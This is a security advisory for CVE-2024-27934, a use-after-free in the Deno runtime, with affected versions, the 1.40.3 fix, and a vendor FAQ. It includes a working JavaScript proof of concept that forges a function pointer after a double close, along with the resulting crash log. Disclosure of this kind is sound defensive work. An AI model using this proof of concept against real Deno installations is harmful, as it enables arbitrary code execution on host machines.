CVE-2024-27934

Use of inherently unsafe *const c_void and ExternalPointer leads to use-after-free access of the underlying structure, resulting in arbitrary code execution.

Details

*const c_void and ExternalPointer (defined via external!() macros) types are used to represent v8::External wrapping arbitrary void* with an external lifetime. This is inherently unsafe as we are effectively eliding all Rust lifetime safety guarantees.

*const c_void is trivially unsafe. ExternalPointer attempts to resolve this issue by wrapping the underlying pointer with a usized marker (ExternalWithMarker<T>).

However, the marker relies on the randomness of PIE address (binary base address) which is still trivially exploitable for a non-PIE binary. It is also equally exploitable on a PIE binary when an attacker is able to derandomize the PIE address. This is problematic as it escalates an information leak of the PIE address into an exploitable vulnerability.

Note that an attacker able to control code executed inside the Deno runtime is very likely to be able to bypass ASLR with any means necessary (e.g. by chaining another vulnerability, or by using other granted permissions such as --allow-read to read /proc/self/maps).

PoC

For simplicity, we use Deno version 1.38.0 where streaming operations uses *const c_void. Testing environment is Docker image denoland/deno:alpine-1.38.0@sha256:fe51a00f4fbbaf1e72b29667c3eeeda429160cef2342f22a92c3820020d41f38 although the exact versions shouldn't matter much if it's in 1.36.2 up to 1.38.0 (before ExternalPointer patch, refer Impact section for details)

const ops = Deno[Deno.internal].core.ops;
const rid = ops.op_readable_stream_resource_allocate();
const sink = ops.op_readable_stream_resource_get_sink(rid);

// close
ops.op_readable_stream_resource_close(sink);
ops.op_readable_stream_resource_close(sink);

// reclaim BoundedBufferChannelInner
const ab = new ArrayBuffer(0x8058);
const dv = new DataView(ab);

// forge chunk contents
dv.setBigUint64(0, 2n, true);
dv.setBigUint64(0x8030, 0x1337c0d30000n, true);

// trigger segfault
Deno.close(rid);

Below is the dmesg log after the crash. We see that Deno has segfaulted on 1337c0d30008, which is +8 of what we have written at offset 0x8030. Note also that the dereferenced value will immediately be used as a function pointer, with the first argument dereferenced from offset 0x8038 - it is trivial to use this to build an end-to-end exploit.

[ 6439.821046] deno[15088]: segfault at 1337c0d30008 ip 0000557b53e2fb3e sp 00007fffd485ac70 error 4 in deno[557b51714000+2d7f000] likely on CPU 12 (core 12, socket 0)
[ 6439.821054] Code: 00 00 00 00 48 85 c0 74 03 ff 50 08 49 8b 86 30 80 00 00 49 8b be 38 80 00 00 49 c7 86 30 80 00 00 00 00 00 00 48 85 c0 74 03 <ff> 50 08 48 ff 03 48 83 c4 08 5b 41 5e c3 48 8d 3d 0d 1a 59 fb 48

The same vulnerability exists for ExternalPointer implementation, but now it is required for the attacker to either leak the PIE address somehow, or else exploit unexpected aliasing behavior of v8::External values. The latter has not been investigated in depth, but it is theoretically possible to alias the same underlying pointer to different v8::External on different threads (Workers) and exploit the concurrency (RefCell may break this though).

Use of inherently unsafe *const c_void and ExternalPointer leads to use-after-free access of the underlying structure, which is exploitable by an attacker controlling the code executed inside a Deno runtime to obtain arbitrary code execution on the host machine regardless of permissions.

This bug is known to be exploitable for both *const c_void and ExternalPointer implementations.

Affected versions of Deno is from 1.36.2 up to latest.

• ext/web/stream_resource.rs:
  • *const c_void introduced in 1.36.2
  • Patched into ExternalPointer in 1.38.1
• ext/http/http_next.rs:
  • ExternalPointer introduced in 1.38.2

Memory is accessed after it has been freed, leading to undefined behavior in native code. Typical impact: memory corruption, crash, or potential code execution.

CVE-2024-27934 has a CVSS score of 8.4 (High). The vector is requires local access, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.40.3); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2024-27934? CVE-2024-27934 is a high-severity use after free vulnerability in Deno (rust), affecting versions >= 1.36.2, < 1.40.3. It is fixed in 1.40.3. Memory is accessed after it has been freed, leading to undefined behavior in native code.
2. How severe is CVE-2024-27934? CVE-2024-27934 has a CVSS score of 8.4 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of Deno are affected by CVE-2024-27934? Deno (rust) versions >= 1.36.2, < 1.40.3 is affected.
4. Is there a fix for CVE-2024-27934? Yes. CVE-2024-27934 is fixed in 1.40.3. Upgrade to this version or later.
5. Is CVE-2024-27934 exploitable, and should I be worried? Whether CVE-2024-27934 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2024-27934 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2024-27934? Upgrade Deno to 1.40.3 or later.